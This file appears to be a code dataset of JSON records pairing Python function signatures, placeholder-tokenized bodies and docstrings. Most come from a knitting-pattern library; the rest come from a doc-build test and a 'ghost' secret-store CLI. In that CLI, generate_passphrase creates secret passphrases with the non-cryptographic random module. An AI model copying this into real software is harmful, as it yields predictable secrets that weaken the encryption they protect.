{"signature": "@property<EOL><INDENT>def index_in_consuming_row(self):<DEDENT>", "body": "self._assert_is_consumed()<EOL>return self._consuming_row_and_index()[<NUM_LIT:1>]<EOL>", "docstring": "Index in row as consumed mesh.\n\n        :return: the index of the mesh in the list of meshes that\n          :attr:`consuming_row` consumes\n        :rtype: int\n\n        .. code:: python\n\n            row = mesh.consuming_row\n            index = mesh.index_in_consuming_row\n            assert row.consumed_meshes[index] == mesh\n\n        .. seealso:: :attr:`consuming_row`, :attr:`index_in_producing_row`\n\n        .. warning:: Check with :meth:`is_consumed` before!", "id": "f561:c0:m20"}
{"signature": "@property<EOL><INDENT>def consuming_row(self):<DEDENT>", "body": "self._assert_is_consumed()<EOL>return self._consuming_row_and_index()[<NUM_LIT:0>]<EOL>", "docstring": "Row which consumes this mesh.\n\n        :return: the row that consumes this mesh\n        :rtype: knittingpattern.Row.Row\n\n        .. seealso:: :attr:`index_in_consuming_row`,\n          :attr:`consuming_instruction`, :attr:`producing_row`\n\n        .. warning:: Check with :meth:`is_consumed` before!", "id": "f561:c0:m21"}
{"signature": "@property<EOL><INDENT>def consuming_instruction(self):<DEDENT>", "body": "self._assert_is_consumed()<EOL>return self._consuming_instruction_and_index()[<NUM_LIT:0>]<EOL>", "docstring": "Instruction which consumes this mesh.\n\n        :return: the instruction that consumes this mesh\n        :rtype: knittingpattern.Instruction.InstructionInRow\n\n        .. seealso:: :attr:`index_in_consuming_instruction`,\n          :attr:`consuming_row`, :attr:`producing_instruction`\n\n        .. warning:: Check with :meth:`is_consumed` before!", "id": "f561:c0:m22"}
{"signature": "@property<EOL><INDENT>def index_in_consuming_instruction(self):<DEDENT>", "body": "self._assert_is_consumed()<EOL>return self._consuming_instruction_and_index()[<NUM_LIT:1>]<EOL>", "docstring": "Index in instruction as consumed mesh.\n\n        :return: the index of the mesh in the list of meshes that\n          :attr:`consuming_instruction` consumes\n        :rtype: int\n\n        .. code:: python\n\n            instruction = mesh.consuming_instruction\n            index = mesh.index_in_consuming_instruction\n            assert instruction.consumed_meshes[index] == mesh\n\n        .. seealso:: :attr:`consuming_instruction`,\n          :attr:`index_in_consuming_instruction`\n\n        .. warning:: Check with :meth:`is_consumed` before!", "id": "f561:c0:m23"}
{"signature": "def is_knit(self):", "body": "self._assert_is_produced()<EOL>return self._producing_instruction_and_index()[<NUM_LIT:0>].does_knit()<EOL>", "docstring": "Whether the mesh is produced by a knit instruction.\n\n        :return: whether the mesh is knit by an instruction\n        :rtype: bool\n\n        .. seealso:: :attr:`producing_instruction`", "id": "f561:c0:m24"}
{"signature": "def __repr__(self):", "body": "if self._is_consumed():<EOL><INDENT>instruction, _ = self._consuming_instruction_and_index()<EOL>row, row_index = self._consuming_row_and_index()<EOL>consume_string = \"<STR_LIT>\".format(<EOL>instruction,<EOL>row,<EOL>row_index<EOL>)<EOL><DEDENT>else:<EOL><INDENT>consume_string = \"<STR_LIT>\"<EOL><DEDENT>if self._is_produced():<EOL><INDENT>instruction, _ = self._producing_instruction_and_index()<EOL>row, row_index = self._producing_row_and_index()<EOL>produce_string = \"<STR_LIT>\".format(<EOL>instruction,<EOL>row,<EOL>row_index<EOL>)<EOL><DEDENT>else:<EOL><INDENT>produce_string = \"<STR_LIT>\"<EOL><DEDENT>return \"<STR_LIT>\".format(<EOL>self.__class__.__name__, produce_string, consume_string<EOL>)<EOL>", "docstring": "This mesh as string.\n\n        :return: the string representation of this mesh.\n        :rtype: str\n\n        This is useful for :func:`print` and class:`str`", "id": "f561:c0:m25"}
{"signature": "def disconnect(self):", "body": "if self.is_connected():<EOL><INDENT>self._disconnect()<EOL><DEDENT>", "docstring": "Remove the connection between two rows through this mesh.\n\n        After disconnecting this mesh, it can be connected anew.", "id": "f561:c0:m26"}
{"signature": "def connect_to(self, other_mesh):", "body": "other_mesh.disconnect()<EOL>self.disconnect()<EOL>self._connect_to(other_mesh)<EOL>", "docstring": "Create a connection to an other mesh.\n\n        .. warning:: Both meshes need to be disconnected and one needs to be\n          a consumed and the other a produced mesh. You can check if a\n          connection is possible using :meth:`can_connect_to`.\n\n        .. seealso:: :meth:`is_consumed`, :meth:`is_produced`,\n          :meth:`can_connect_to`", "id": "f561:c0:m27"}
{"signature": "def is_connected(self):", "body": "return self._is_consumed() and self._is_produced()<EOL>", "docstring": "Returns whether this mesh is already connected.\n\n        :return: whether this mesh is connected to an other.\n        :rtype: bool", "id": "f561:c0:m28"}
{"signature": "def as_produced_mesh(self):", "body": "self._assert_is_produced()<EOL>return self._as_produced_mesh()<EOL>", "docstring": "The produced part to this mesh.\n\n        If meshes are split up, it may be important which row the mesh is\n        connected to afterwards. This method returns the mesh that is\n        connected to the :attr:`producing row <producing_row>`.\n\n        If you got this mesh from :attr:`InstructionInRow.produced_meshes\n        <knittinpattern.Instruction.InstructionInRow.produced_meshes>` or\n        :attr:`Row.produced_meshes <knittinpattern.Row.Row.produced_meshes>`,\n        this returns the same object.\n\n        .. seealso:: :meth:`as_consumed_mesh`,\n          :attr:`knittinpattern.Instruction.InstructionInRow.produced_meshes`,\n          :attr:`knittinpattern.Row.Row.produced_meshes`", "id": "f561:c0:m29"}
{"signature": "def as_consumed_mesh(self):", "body": "self._assert_is_consumed()<EOL>return self._as_consumed_mesh()<EOL>", "docstring": "The consumed part to this mesh.", "id": "f561:c0:m30"}
{"signature": "def is_mesh(self):", "body": "return True<EOL>", "docstring": "Whether this object is a mesh.\n\n        :return: :obj:`True`\n        :rtype: bool", "id": "f561:c0:m31"}
{"signature": "def is_connected_to(self, other_mesh):", "body": "assert other_mesh.is_mesh()<EOL>return self._is_connected_to(other_mesh)<EOL>", "docstring": "Whether the one mesh is conencted to the other.", "id": "f561:c0:m32"}
{"signature": "def can_connect_to(self, other):", "body": "assert other.is_mesh()<EOL>disconnected = not other.is_connected() and not self.is_connected()<EOL>types_differ = self._is_consumed_mesh() != other._is_consumed_mesh()<EOL>return disconnected and types_differ<EOL>", "docstring": "Whether a connection can be established between those two meshes.", "id": "f561:c0:m33"}
{"signature": "def __init__(self, producing_instruction,<EOL>index_in_producing_instruction):", "body": "self.__producing_instruction_and_index = (<EOL>producing_instruction,<EOL>index_in_producing_instruction<EOL>)<EOL>self._consumed_part = None<EOL>", "docstring": ":param producing_instruction: the\n  :class:`instruction <knittingpattern.Instruction.InstructionInRow>`\n  that produces the mesh\n:param int index_in_producing_instruction: the index of the mesh\n  in the list of meshes that :attr:`producing_instruction`\n  produces\n\n.. note:: There should be no necessity to create instances of this\n  directly. You should be able to use\n  ``instruction.produced_meshes`` or ``instruction.consumed_meshes``\n  to access the :class:`meshes <knittingpattern.Mesh.Mesh>`.", "id": "f561:c1:m0"}
{"signature": "def __init__(self, consuming_instruction,<EOL>index_in_consuming_instruction):", "body": "self.__consuming_instruction_and_index = (<EOL>consuming_instruction,<EOL>index_in_consuming_instruction<EOL>)<EOL>self._produced_part = None<EOL>", "docstring": ":param consuming_instruction: the\n  :class:`instruction <knittingpattern.Instruction.InstructionInRow>`\n  that consumes the mesh\n:param int index_in_consuming_instruction: the index of the mesh\n  in the list of meshes that :attr:`consuming_instruction`\n  consumes\n\n.. note:: There should be no necessity to create instances of this\n  directly. You should be able to use\n  ``instruction.produced_meshes`` or ``instruction.consumed_meshes``\n  to access the :class:`meshes <knittingpattern.Mesh.Mesh>`.", "id": "f561:c2:m0"}
{"signature": "def _connect_to_produced_mesh(self, produced_mesh):", "body": "self._produced_part = produced_mesh<EOL>", "docstring": "This is called after a connection has been established by the\n        produced mesh.", "id": "f561:c2:m11"}
{"signature": "def __init__(self, on_dump):", "body": "super().__init__(self._dump_to_file)<EOL>self.__dump_object = on_dump<EOL>", "docstring": "Create a new XMLDumper object with the callable `on_dump`.\n\n        `on_dump` takes no aguments and returns the object that should be\n        serialized to XML.", "id": "f562:c0:m0"}
{"signature": "def object(self):", "body": "return self.__dump_object()<EOL>", "docstring": "Return the object that should be dumped.", "id": "f562:c0:m1"}
{"signature": "def _dump_to_file(self, file):", "body": "xmltodict.unparse(self.object(), file, pretty=True)<EOL>", "docstring": "dump to the file", "id": "f562:c0:m2"}
{"signature": "def __init__(self, on_dump, text_is_expected=True, encoding=\"<STR_LIT>\"):", "body": "self.__dump_to_file = on_dump<EOL>self.__text_is_expected = text_is_expected<EOL>self.__encoding = encoding<EOL>", "docstring": "Create a new dumper object with a function :paramref:`on_dump`\n\n        :param on_dump: a function that takes a file-like object as argument\n          and writes content to it.\n        :param bool text_is_expected: whether to use text mode\n          (:obj:`True`, default) or binary mode (:obj:`False`)\n          for :paramref:`on_dump`.\n\n        The dumper calls :paramref:`on_dump` with a file-like object every time\n        one of its save methods, e.g. :meth:`string` or :meth:`file` is called.\n        The file-like object in the :paramref:`file` argument supports the\n        method ``write()`` to which the content should be written.\n\n        :paramref:`text_is_expected` should be\n\n        - :obj:`True` to pass a file to :paramref:`on_dump` that you can write\n          strings to\n\n        - :obj:`False` to pass a file to :paramref:`on_dump` that you can write\n          bytes to", "id": "f564:c0:m0"}
{"signature": "@property<EOL><INDENT>def encoding(self):<DEDENT>", "body": "return self.__encoding<EOL>", "docstring": ":return: the encoding for byte to string conversion\n        :rtype: str", "id": "f564:c0:m1"}
{"signature": "def string(self):", "body": "if self.__text_is_expected:<EOL><INDENT>return self._string()<EOL><DEDENT>else:<EOL><INDENT>return self._bytes().decode(self.__encoding)<EOL><DEDENT>", "docstring": ":return: the dump as a string", "id": "f564:c0:m2"}
{"signature": "def _string(self):", "body": "file = StringIO()<EOL>self.__dump_to_file(file)<EOL>file.seek(<NUM_LIT:0>)<EOL>return file.read()<EOL>", "docstring": ":return: the string from a :class:`io.StringIO`", "id": "f564:c0:m3"}
{"signature": "def bytes(self):", "body": "if self.__text_is_expected:<EOL><INDENT>return self.string().encode(self.__encoding)<EOL><DEDENT>else:<EOL><INDENT>return self._bytes()<EOL><DEDENT>", "docstring": ":return: the dump as bytes.", "id": "f564:c0:m4"}
{"signature": "def _bytes(self):", "body": "file = BytesIO()<EOL>self.__dump_to_file(file)<EOL>file.seek(<NUM_LIT:0>)<EOL>return file.read()<EOL>", "docstring": ":return: bytes from a :class:`io.BytesIO`", "id": "f564:c0:m5"}
{"signature": "def file(self, file=None):", "body": "if file is None:<EOL><INDENT>file = StringIO()<EOL><DEDENT>self._file(file)<EOL>return file<EOL>", "docstring": "Saves the dump in a file-like object in text mode.\n\n        :param file: :obj:`None` or a file-like object.\n        :return: a file-like object\n\n        If :paramref:`file` is :obj:`None`, a new :class:`io.StringIO`\n        is returned.\n        If :paramref:`file` is not :obj:`None` it should be a file-like object.\n\n        The content is written to the file. After writing, the file's\n        read/write position points behind the dumped content.", "id": "f564:c0:m6"}
{"signature": "def _file(self, file):", "body": "if not self.__text_is_expected:<EOL><INDENT>file = BytesWrapper(file, self.__encoding)<EOL><DEDENT>self.__dump_to_file(file)<EOL>", "docstring": "Dump the content to a `file`.", "id": "f564:c0:m7"}
{"signature": "def binary_file(self, file=None):", "body": "if file is None:<EOL><INDENT>file = BytesIO()<EOL><DEDENT>self._binary_file(file)<EOL>return file<EOL>", "docstring": "Same as :meth:`file` but for binary content.", "id": "f564:c0:m8"}
{"signature": "def _binary_file(self, file):", "body": "if self.__text_is_expected:<EOL><INDENT>file = TextWrapper(file, self.__encoding)<EOL><DEDENT>self.__dump_to_file(file)<EOL>", "docstring": "Dump the ocntent into the `file` in binary mode.", "id": "f564:c0:m9"}
{"signature": "def _mode_and_encoding_for_open(self):", "body": "if self.__text_is_expected:<EOL><INDENT>return \"<STR_LIT:w>\", self.__encoding<EOL><DEDENT>return \"<STR_LIT:wb>\", None<EOL>", "docstring": ":return: the file mode and encoding for :obj:`open`.", "id": "f564:c0:m10"}
{"signature": "def path(self, path):", "body": "self._path(path)<EOL>", "docstring": "Saves the dump in a file named :paramref:`path`.\n\n        :param str path: a valid path to a file location. The file can exist.", "id": "f564:c0:m11"}
{"signature": "def _path(self, path):", "body": "mode, encoding = self._mode_and_encoding_for_open()<EOL>with open(path, mode, encoding=encoding) as file:<EOL><INDENT>self.__dump_to_file(file)<EOL><DEDENT>", "docstring": "Saves the dump in a file named `path`.", "id": "f564:c0:m12"}
{"signature": "def _temporary_file(self, delete):", "body": "file = NamedTemporaryFile(\"<STR_LIT>\", delete=delete,<EOL>encoding=self.__encoding)<EOL>self._file(file)<EOL>return file<EOL>", "docstring": ":return: a temporary file where the content is dumped to.", "id": "f564:c0:m13"}
{"signature": "def temporary_path(self, extension=\"<STR_LIT>\"):", "body": "path = NamedTemporaryFile(delete=False, suffix=extension).name<EOL>self.path(path)<EOL>return path<EOL>", "docstring": "Saves the dump in a temporary file and returns its path.\n\n        .. warning:: The user of this method is responsible for deleting this\n                     file to save space on the hard drive.\n                     If you only need a file object for a short period of time\n                     you can use the method :meth:`temporary_file`.\n\n        :param str extension: the ending ot the file name e.g. ``\".png\"``\n        :return: a path to the temporary file\n        :rtype: str", "id": "f564:c0:m14"}
{"signature": "def temporary_file(self, delete_when_closed=True):", "body": "return self._temporary_file(delete_when_closed)<EOL>", "docstring": "Saves the dump in a temporary file and returns the open file object.\n\n        :param bool delete_when_closed: whether to delete the temporary file\n                                        when it is closed.\n        :return: a file-like object\n\n        If :paramref:`delete_when_closed` is :obj:`True` (default) the file\n        on the hard drive will be deleted if it is closed or not referenced\n        any more.\n\n        If :paramref:`delete_when_closed` is :obj:`False` the returned\n        temporary file is not deleted when closed or unreferenced.\n        The user of this method has then the responsibility to free the\n        space on the host system.\n\n        The returned file-like object has an attribute ``name`` that holds\n        the location of the file.", "id": "f564:c0:m15"}
{"signature": "def binary_temporary_file(self, delete_when_closed=True):", "body": "return self._binary_temporary_file(delete_when_closed)<EOL>", "docstring": "Same as :meth:`temporary_file` but for binary mode.", "id": "f564:c0:m16"}
{"signature": "def _binary_temporary_file(self, delete):", "body": "file = NamedTemporaryFile(\"<STR_LIT>\", delete=delete)<EOL>self._binary_file(file)<EOL>return file<EOL>", "docstring": ":return: a binary temporary file where the content is dumped to.", "id": "f564:c0:m17"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\".format(<EOL>self.__class__.__name__,<EOL>self.__encoding<EOL>)<EOL>", "docstring": "the string representation for people to read\n\n        :return: the string representation of this object\n        :rtype: str", "id": "f564:c0:m18"}
{"signature": "def __init__(self, on_dump):", "body": "super().__init__(self._dump_to_file)<EOL>self.__dump_object = on_dump<EOL>", "docstring": "Create a new JSONDumper object with the callable `on_dump`.\n\n        `on_dump` takes no arguments and returns the object that should be\n        serialized to JSON.", "id": "f565:c0:m0"}
{"signature": "def object(self):", "body": "return self.__dump_object()<EOL>", "docstring": "Return the object that should be dumped.", "id": "f565:c0:m1"}
{"signature": "def _dump_to_file(self, file):", "body": "json.dump(self.object(), file)<EOL>", "docstring": "dump to the file", "id": "f565:c0:m2"}
{"signature": "def knitting_pattern(self, specification=None):", "body": "from ..ParsingSpecification import new_knitting_pattern_set_loader<EOL>if specification is None:<EOL><INDENT>loader = new_knitting_pattern_set_loader()<EOL><DEDENT>else:<EOL><INDENT>loader = new_knitting_pattern_set_loader(specification)<EOL><DEDENT>return loader.object(self.object())<EOL>", "docstring": "loads a :class:`knitting pattern\n        <knittingpattern.KnittingPattern.KnittingPattern>` from the dumped\n        content\n\n        :param specification: a\n          :class:`~knittingpattern.ParsingSpecification.ParsingSpecification`\n          or :obj:`None` to use the default specification", "id": "f565:c0:m3"}
{"signature": "def kivy_svg(self):", "body": "from kivy.graphics.svg import Svg<EOL>path = self.temporary_path(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>return Svg(path)<EOL><DEDENT>finally:<EOL><INDENT>remove_file(path)<EOL><DEDENT>", "docstring": "An SVG object.\n\n        :return: an SVG object\n        :rtype: kivy.graphics.svg.Svg\n        :raises ImportError: if the module was not found", "id": "f566:c0:m0"}
{"signature": "def __init__(self, text_file, encoding):", "body": "self._file = text_file<EOL>self._encoding = encoding<EOL>", "docstring": "Create a wrapper around :paramref:`text_file` that decodes\n        bytes to string using :paramref:`encoding` and writes them\n        to :paramref:`text_file`.\n\n        :param str encoding: The encoding to use to transfer the written bytes\n          to string so they can be written to :paramref:`text_file`\n        :param text_file: a file-like object open in text mode", "id": "f567:c0:m0"}
{"signature": "def write(self, bytes_):", "body": "string = bytes_.decode(self._encoding)<EOL>self._file.write(string)<EOL>", "docstring": "Write bytes to the file.", "id": "f567:c0:m1"}
{"signature": "def __init__(self, binary_file, encoding):", "body": "self._file = binary_file<EOL>self._encoding = encoding<EOL>", "docstring": "Create a wrapper around :paramref:`binary_file` that encodes\n        strings to bytes using :paramref:`encoding` and writes them\n        to :paramref:`binary_file`.\n\n        :param str encoding: The encoding to use to transfer the written string\n          to bytes so they can be written to :paramref:`binary_file`\n        :param binary_file: a file-like object open in binary mode", "id": "f567:c1:m0"}
{"signature": "def write(self, string):", "body": "bytes_ = string.encode(self._encoding)<EOL>self._file.write(bytes_)<EOL>", "docstring": "Write a string to the file.", "id": "f567:c1:m1"}
{"signature": "def __init__(self, specification, inherited_values=()):", "body": "self.__specification = [specification] + list(inherited_values)<EOL>", "docstring": "create a new prototype\n\n        :param specification: the specification of the prototype.\n          This specification can be inherited by other prototypes.\n          It can be a :class:`dict` or an other\n          :class:`knittingpattern.Prototype.Prototype` or anything else that\n          supports :meth:`__contains__` and :meth:`__getitem__`\n\n        To look up a key in the specification it will be walked through\n\n        1. :paramref:`specification`\n        2. :paramref:`inherited_values` in order\n\n        However, new lookups can be inserted at before\n        :paramref:`inherited_values`, by calling :meth:`inherit_from`.", "id": "f568:c0:m0"}
{"signature": "def get(self, key, default=None):", "body": "for base in self.__specification:<EOL><INDENT>if key in base:<EOL><INDENT>return base[key]<EOL><DEDENT><DEDENT>return default<EOL>", "docstring": ":return: the value behind :paramref:`key` in the specification.\n  If no value was found, :paramref:`default` is returned.\n:param key: a :ref:`specification key <prototype-key>`", "id": "f568:c0:m1"}
{"signature": "def __getitem__(self, key):", "body": "default = []<EOL>value = self.get(key, default)<EOL>if value is default:<EOL><INDENT>raise KeyError(key)<EOL><DEDENT>return value<EOL>", "docstring": "``prototype[key]``\n\n        :param key: a :ref:`specification key <prototype-key>`\n        :return: the value behind :paramref:`key` in the specification\n        :raises KeyError: if no value was found", "id": "f568:c0:m2"}
{"signature": "def __contains__(self, key):", "body": "default = []<EOL>value = self.get(key, default)<EOL>return value is not default<EOL>", "docstring": "``key in prototype``\n\n        :param key: a :ref:`specification key <prototype-key>`\n        :return: whether the key was found in the specification\n        :rtype: bool", "id": "f568:c0:m3"}
{"signature": "def inherit_from(self, new_specification):", "body": "self.__specification.insert(<NUM_LIT:1>, new_specification)<EOL>", "docstring": "Inherit from a :paramref:`new_specification`\n\n        :param new_specification: a specification as passed to :meth:`__init__`\n\n        The :paramref:`new_specification` is inserted before the first\n        :paramref:`inherited value <__init__.inherited_values>`.\n\n        If the order is\n\n        1. :paramref:`~__init__.specification`\n        2. :paramref:`~__init__.inherited_values`\n\n        after calling ``prototype.inherit_from(new_specification)`` the lookup\n        order is\n\n        1. :paramref:`~__init__.specification`\n        2. :paramref:`new_specification`\n        3. :paramref:`~__init__.inherited_values`", "id": "f568:c0:m4"}
{"signature": "def __init__(self, type_, version, patterns, parser, comment=None):", "body": "self._version = version<EOL>self._type = type_<EOL>self._patterns = patterns<EOL>self._comment = comment<EOL>self._parser = parser<EOL>", "docstring": "Create a new knitting pattern set.\n\n        This is the class for a set of :class:`knitting patterns\n        <knittingpattern.KnittingPattern.KnittingPattern>`.\n\n        :param str type: the type of the knitting pattern set, see the\n          :ref:`specification <FileFormatSpecification>`.\n        :param str version: the version of the knitting pattern set.\n          This is not the version of the library but the version of the\n          :ref:`specification <FileFormatSpecification>`.\n        :param patterns: a collection of patterns. This should be a\n          :class:`~knittingpattern.IdCollection.IdCollection` of\n          :class:`KnittingPatterns\n          <knittingpattern.KnittingPattern.KnittingPattern>`.\n        :param comment: a comment about the knitting pattern", "id": "f569:c0:m0"}
{"signature": "@property<EOL><INDENT>def version(self):<DEDENT>", "body": "return self._version<EOL>", "docstring": "The version of the knitting pattern specification.\n\n        :return: the version of the knitting pattern, see :meth:`__init__`\n        :rtype: str\n\n        .. seealso:: :ref:`FileFormatSpecification`", "id": "f569:c0:m1"}
{"signature": "@property<EOL><INDENT>def type(self):<DEDENT>", "body": "return self._type<EOL>", "docstring": "The type of the knitting pattern.\n\n        :return: the type of the knitting pattern, see :meth:`__init__`\n        :rtype: str\n\n        .. seealso:: :ref:`FileFormatSpecification`", "id": "f569:c0:m2"}
{"signature": "@property<EOL><INDENT>def patterns(self):<DEDENT>", "body": "return self._patterns<EOL>", "docstring": "The pattern contained in this set.\n\n        :return: the patterns of the knitting pattern, see :meth:`__init__`\n        :rtype: knittingpattern.IdCollection.IdCollection\n\n        The patterns can be accessed by their id.", "id": "f569:c0:m3"}
{"signature": "@property<EOL><INDENT>def comment(self):<DEDENT>", "body": "return self._comment<EOL>", "docstring": "The comment about the knitting pattern.\n\n        :return: the comment for the knitting pattern set or None,\n          see :meth:`__init__`.", "id": "f569:c0:m4"}
{"signature": "def to_ayabpng(self):", "body": "return AYABPNGDumper(lambda: self)<EOL>", "docstring": "Convert the knitting pattern to a png.\n\n        :return: a dumper to save this pattern set as png for the AYAB\n          software\n        :rtype: knittingpattern.convert.AYABPNGDumper.AYABPNGDumper\n\n        Example:\n\n        .. code:: python\n\n            >>> knitting_pattern_set.to_ayabpng().temporary_path()\n            \"/the/path/to/the/file.png\"", "id": "f569:c0:m5"}
{"signature": "def to_svg(self, zoom):", "body": "def on_dump():<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>knitting_pattern = self.patterns.at(<NUM_LIT:0>)<EOL>layout = GridLayout(knitting_pattern)<EOL>instruction_to_svg = default_instruction_svg_cache()<EOL>builder = SVGBuilder()<EOL>kp_to_svg = KnittingPatternToSVG(knitting_pattern, layout,<EOL>instruction_to_svg, builder, zoom)<EOL>return kp_to_svg.build_SVG_dict()<EOL><DEDENT>return XMLDumper(on_dump)<EOL>", "docstring": "Create an SVG from the knitting pattern set.\n\n        :param float zoom: the height and width of a knit instruction\n        :return: a dumper to save the svg to\n        :rtype: knittingpattern.Dumper.XMLDumper\n\n        Example:\n\n        .. code:: python\n\n            >>> knitting_pattern_set.to_svg(25).temporary_path(\".svg\")\n            \"/the/path/to/the/file.svg\"", "id": "f569:c0:m6"}
{"signature": "def add_new_pattern(self, id_, name=None):", "body": "if name is None:<EOL><INDENT>name = id_<EOL><DEDENT>pattern = self._parser.new_pattern(id_, name)<EOL>self._patterns.append(pattern)<EOL>return pattern<EOL>", "docstring": "Add a new, empty knitting pattern to the set.\n\n        :param id_: the id of the pattern\n        :param name: the name of the pattern to add or if :obj:`None`, the\n          :paramref:`id_` is used\n        :return: a new, empty knitting pattern\n        :rtype: knittingpattern.KnittingPattern.KnittingPattern", "id": "f569:c0:m7"}
{"signature": "@property<EOL><INDENT>def first(self):<DEDENT>", "body": "return self._patterns.first<EOL>", "docstring": "The first element in this set.\n\n        :rtype: knittingpattern.KnittingPattern.KnittingPattern", "id": "f569:c0:m8"}
{"signature": "def absjoin(*args):", "body": "return os.path.abspath(os.path.join(*args))<EOL>", "docstring": ":return: an absolute path to the joined arguments\n:param args: the parts of the path to join", "id": "f571:m0"}
{"signature": "def create_new_module_documentation():", "body": "for module in MODULES:<EOL><INDENT>if not os.path.isfile(module.doc_file):<EOL><INDENT>directory = os.path.dirname(module.doc_file)<EOL>os.makedirs(directory, exist_ok=True)<EOL>with open(module.doc_file, \"<STR_LIT:w>\") as file:<EOL><INDENT>write = file.write<EOL>write(\"<STR_LIT:\\n>\")  <EOL>write(\"<STR_LIT>\" + module.name + \"<STR_LIT:\\n>\")<EOL>write(\"<STR_LIT:\\n>\")<EOL>write(module.title + \"<STR_LIT:\\n>\")<EOL>write(\"<STR_LIT:=>\" * len(module.title) + \"<STR_LIT:\\n>\")<EOL>write(\"<STR_LIT:\\n>\")<EOL>write(\"<STR_LIT>\" + module.name + \"<STR_LIT:\\n>\")<EOL>write(\"<STR_LIT>\")<EOL>write(\"<STR_LIT>\")<EOL>write(\"<STR_LIT>\")<EOL>write(\"<STR_LIT:\\n>\")<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Create documentation so it fits the tests.", "id": "f572:m6"}
{"signature": "def print_bytes(bytes_):", "body": "try:<EOL><INDENT>print(bytes_.decode())<EOL><DEDENT>except UnicodeDecodeError:<EOL><INDENT>print(bytes_)<EOL><DEDENT>", "docstring": "Print bytes safely as string.", "id": "f573:m0"}
{"signature": "@fixture(scope=\"<STR_LIT>\")<EOL>def sphinx_build():", "body": "if os.path.exists(BUILD_DIRECTORY):<EOL><INDENT>shutil.rmtree(BUILD_DIRECTORY)<EOL><DEDENT>output = subprocess.check_output(<EOL>\"<STR_LIT>\", shell=True, cwd=DOCS_DIRECTORY,<EOL>stderr=subprocess.STDOUT<EOL>)<EOL>output += subprocess.check_output(<EOL>\"<STR_LIT>\", shell=True, cwd=DOCS_DIRECTORY,<EOL>stderr=subprocess.STDOUT<EOL>)<EOL>print(output.decode())<EOL>return output<EOL>", "docstring": "Build the documentation with sphinx and return the output.", "id": "f573:m1"}
{"signature": "@fixture(scope=\"<STR_LIT>\")<EOL>def coverage(sphinx_build):", "body": "assert sphinx_build, \"<STR_LIT>\"<EOL>with open(PYTHON_COVERAGE_FILE) as file:<EOL><INDENT>return file.read()<EOL><DEDENT>", "docstring": ":return: the documentation coverage outpupt.", "id": "f573:m2"}
{"signature": "@fixture<EOL>def warnings(sphinx_build):", "body": "return re.findall(WARNING_PATTERN, sphinx_build)<EOL>", "docstring": ":return: the warnings during the build process.", "id": "f573:m3"}
{"signature": "def get_passphrase(passphrase=None):", "body": "for passphrase_file_path in POTENTIAL_PASSPHRASE_LOCATIONS:<EOL><INDENT>if os.path.isfile(passphrase_file_path):<EOL><INDENT>with open(passphrase_file_path) as passphrase_file:<EOL><INDENT>return passphrase_file.read()<EOL><DEDENT><DEDENT><DEDENT>return passphrase<EOL>", "docstring": "Return a passphrase as found in a passphrase.ghost file\n\n    Lookup is done in three locations on non-Windows systems and two on Windows\n    All:\n        `cwd/passphrase.ghost`\n        `~/.ghost/passphrase.ghost`\n    Only non-Windows:\n        `/etc/ghost/passphrase.ghost`", "id": "f575:m2"}
{"signature": "def migrate(src_path,<EOL>src_passphrase,<EOL>src_backend,<EOL>dst_path,<EOL>dst_passphrase,<EOL>dst_backend):", "body": "src_storage = STORAGE_MAPPING[src_backend](**_parse_path_string(src_path))<EOL>dst_storage = STORAGE_MAPPING[dst_backend](**_parse_path_string(dst_path))<EOL>src_stash = Stash(src_storage, src_passphrase)<EOL>dst_stash = Stash(dst_storage, dst_passphrase)<EOL>keys = src_stash.export()<EOL>dst_stash.load(src_passphrase, keys=keys)<EOL>", "docstring": "Migrate all keys in a source stash to a destination stash\n\n    The migration process will decrypt all keys using the source\n    stash's passphrase and then encrypt them based on the destination\n    stash's passphrase.\n\n    re-encryption will take place only if the passphrases are differing", "id": "f575:m3"}
{"signature": "def _get_current_time():", "body": "return datetime.fromtimestamp(time.time()).strftime('<STR_LIT>')<EOL>", "docstring": "Return a human readable unix timestamp formatted string\n\n    e.g. 2015-06-11 10:10:01", "id": "f575:m4"}
{"signature": "def generate_passphrase(size=<NUM_LIT:12>):", "body": "chars = string.ascii_lowercase + string.ascii_uppercase + string.digits<EOL>return str('<STR_LIT>'.join(random.choice(chars) for _ in range(size)))<EOL>", "docstring": "Return a generate string `size` long based on lowercase, uppercase,\n    and digit chars", "id": "f575:m5"}
{"signature": "def _build_dict_from_key_value(keys_and_values):", "body": "key_dict = {}<EOL>for key_value in keys_and_values:<EOL><INDENT>if '<STR_LIT:=>' not in key_value:<EOL><INDENT>raise GhostError('<STR_LIT>'.format(<EOL>key_value))<EOL><DEDENT>key, value = key_value.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>key_dict.update({str(key): str(value)})<EOL><DEDENT>return key_dict<EOL>", "docstring": "Return a dict from a list of key=value pairs", "id": "f575:m6"}
{"signature": "def _prettify_dict(key):", "body": "assert isinstance(key, dict)<EOL>pretty_key = '<STR_LIT>'<EOL>for key, value in key.items():<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>pretty_value = '<STR_LIT>'<EOL>for k, v in value.items():<EOL><INDENT>pretty_value += '<STR_LIT>'.format(k, v)<EOL><DEDENT>value = pretty_value<EOL><DEDENT>pretty_key += '<STR_LIT>'.format(key.title() + '<STR_LIT::>', value)<EOL><DEDENT>return pretty_key<EOL>", "docstring": "Return a human readable format of a key (dict).\n\n    Example:\n\n    Description:   My Wonderful Key\n    Uid:           a54d6de1-922a-4998-ad34-cb838646daaa\n    Created_At:    2016-09-15T12:42:32\n    Metadata:      owner=me;\n    Modified_At:   2016-09-15T12:42:32\n    Value:         secret_key=my_secret_key;access_key=my_access_key\n    Name:          aws", "id": "f575:m7"}
{"signature": "def _prettify_list(items):", "body": "assert isinstance(items, list)<EOL>keys_list = '<STR_LIT>'<EOL>for item in items:<EOL><INDENT>keys_list += '<STR_LIT>'.format(item)<EOL><DEDENT>return keys_list<EOL>", "docstring": "Return a human readable format of a list.\n\n    Example:\n\n    Available Keys:\n      - my_first_key\n      - my_second_key", "id": "f575:m8"}
{"signature": "@click.group(context_settings=CLICK_CONTEXT_SETTINGS)<EOL>def main():", "body": "", "docstring": "Ghost generates a secret-store in which you can\n    keep your secrets encrypted. Ghost isn't real. It's just in your head.", "id": "f575:m12"}
